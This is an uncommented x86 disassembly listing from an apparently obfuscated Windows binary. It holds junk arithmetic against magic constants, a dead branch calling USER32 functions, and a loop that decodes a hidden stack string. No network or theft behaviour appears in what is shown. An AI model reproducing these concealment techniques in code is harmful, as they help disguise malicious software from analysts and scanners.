mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, eax
sete cl
imul ecx, dword [ebp - 0x24]
cmp ecx, 6
je 0x100ef713
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100ef718
push 0x100c
push ebx
call edi
jmp 0x100ef718
cmp dword [ebp - 0x40], ebx
jne 0x100ef721
dec dword [ebp - 0x14]
jns 0x100ef63c
lea ecx, [ebp - 0x9bc]
call fcn.100144eb
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x100ef5fe
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x100ef5ef
mov eax, dword [ebp - 0x92c]
dec dword [eax]
jns 0x100ef5c8
mov eax, dword [ebp - 0x28]
mov ecx, 0x8055a548
sub ecx, eax
jne 0x100ef767
cmp dword [ebp - 0x34], ebx
jne 0x100ef767
mov edx, ebx
jmp 0x100ef76c
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp edx, eax
mov esi, dword [ebp - 0x92c]
setl cl
lea eax, [ecx + 0x1fe1f395]
xor ecx, ecx
cmp eax, 0xfffffff8
mov eax, 0xfffc
setle cl
cmp eax, ecx
mov eax, dword [ebp - 0x28]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
setg dl
xor eax, eax
cmp edx, 0x70b7b202
setge al
xor ecx, ecx
cmp eax, 2
setl cl
xor eax, eax
cmp ecx, dword [esi + 4]
setge al
xor edx, edx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x92c]
sbb edx, edx
neg edx
sub edx, dword [eax]
mov eax, dword [ebp - 0x28]
neg edx
sbb edx, edx
xor ecx, ecx
add edx, 0xffff9abb
cmp eax, edx
setne cl
xor eax, eax
mov dword [esi + 4], ecx
inc eax
lea ecx, [ebp - 0x92c]
mov byte [ebp - 4], al
call fcn.100144eb
push 6
xor eax, eax
lea edi, [ebp - 0x1b38]
pop ecx
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x998]
stosw word es:[edi], ax
xor eax, eax
inc eax
mov dword [ebp - 0x1c], 0xafa2
push eax
call fcn.10013ee8
mov dword [ebp - 0x28], 0xfadf
xor edx, edx
mov dword [ebp - 0x24], 8
inc edx
mov dword [ebp - 0x14], ebx
jmp 0x100ef840
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x998]
mov dword [eax + ecx*4], 0x5c6eff3d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100ef82d
mov dword [ebp - 0x14], ebx
jmp 0x100ef857
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x19f0], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100ef84a
inc dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp - 0x998]
cmp dword [eax], 0x279a
setle cl
xor edx, edx
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp eax, dword [ebp - 0x2c]
setne cl
xor eax, eax
sub ecx, 3
cmp edx, ecx
setne al
sub eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, 9
mov eax, dword [ebp - 0x1c]
setl dl
sub edx, dword [ebp - 0x2c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
xor eax, eax
imul ecx, dword [ebp - 0x1c]
inc eax
cmp ecx, eax
jge 0x100ef8ce
cmp dword [ebp - 0x24], ebx
jne 0x100ef8d0
mov eax, ebx
mov dword [ebp - 0x19ec], eax
lea ecx, [ebp - 0x998]
call fcn.100144eb
xor eax, eax
lea ecx, [ebp - 0x9d4]
inc eax
push eax
call fcn.10013ee8
xor edx, edx
mov dword [ebp - 0x14], ebx
inc edx
jmp 0x100ef907
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x9d4]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100ef8f8
mov dword [ebp - 0x14], ebx
jmp 0x100ef91e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1fb0], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100ef911
mov eax, dword [ebp - 0x9d4]
mov dword [eax], ebx
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100ef94b
push ebx
push 0x138c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
xor edx, edx
inc edx
lea ecx, [ebp - 0x9d4]
mov byte [ebp - 4], dl
call fcn.100144eb
xor eax, eax
mov dword [ebp - 0x3ac], 0x530f742a
inc eax
mov dword [ebp - 0x3a8], 0x6f200e26
push 0x3c
mov byte [ebp - 0x3a4], al
mov edx, ebx
pop eax
push 0x18
mov byte [ebp - 0x379], al
pop eax
push 7
mov byte [ebp - 0x376], al
pop eax
mov dword [ebp - 0x3a3], 0x3492f59
mov dword [ebp - 0x39f], 0x13190c76
mov dword [ebp - 0x39b], 0x54f0074
mov dword [ebp - 0x397], 0x16890278
mov dword [ebp - 0x393], 0x2d70297a
mov dword [ebp - 0x38f], 0x1c8b1766
mov dword [ebp - 0x38b], 0x1b2c0d43
mov dword [ebp - 0x387], 0x229a0a62
mov dword [ebp - 0x383], 0x8690b9b
mov dword [ebp - 0x37f], 0x289b098e
mov word [ebp - 0x37b], 0x276d
mov word [ebp - 0x378], 0xa312
mov word [ebp - 0x375], 0x657
mov byte [ebp - 0x373], 0xa2
mov byte [ebp - 0x372], al
mov dword [ebp - 0x371], 0x23790eab
mov dword [ebp - 0x36d], 0x21aa1961
mov dword [ebp - 0x369], 0x1db515b2
mov dword [ebp - 0x365], 0x1aae2b88
mov dword [ebp - 0x361], 0x14bb04af
mov dword [ebp - 0x35d], 0x11b52eb8
mov dword [ebp - 0x359], 0x1fc710bc
mov dword [ebp - 0x355], 0x25ce1ecb
mov dword [ebp - 0x351], 0x2c9b2465
mov byte [ebp - 0x34d], 0xd1
movzx ecx, byte [ebp + edx - 0x3ab]
sub ecx, edx
dec ecx
jns 0x100efa99
or eax, 0xffffffff
sub eax, ecx
add ecx, 0x100
and eax, 0xffffff00
add ecx, eax
movzx eax, byte [ebp + edx - 0x3ac]
add edx, 2
mov word [ebp + eax*2 - 0x21b4], cx
cmp edx, 0x60
jb 0x100efa7a
xor eax, eax
lea ecx, [ebp - 0x1ee8]
mov word [ebp - 0x2154], ax
lea eax, [ebp - 0x21b4]
push eax
call fcn.10013e17
mov edx, eax
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x1a94]
call fcn.10047308
xor eax, eax
lea ecx, [ebp - 0x1ee8]
inc eax
push ebx
push eax
mov byte [ebp - 4], al
call fcn.10014448
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x2c], 0x525ac89d
mov dword [ebp - 0x1c], ebx
jmp fcn.100efb14
push ebx
push ecx
lea ecx, [ebp + 0x18]
call fcn.10014448
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0x15]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret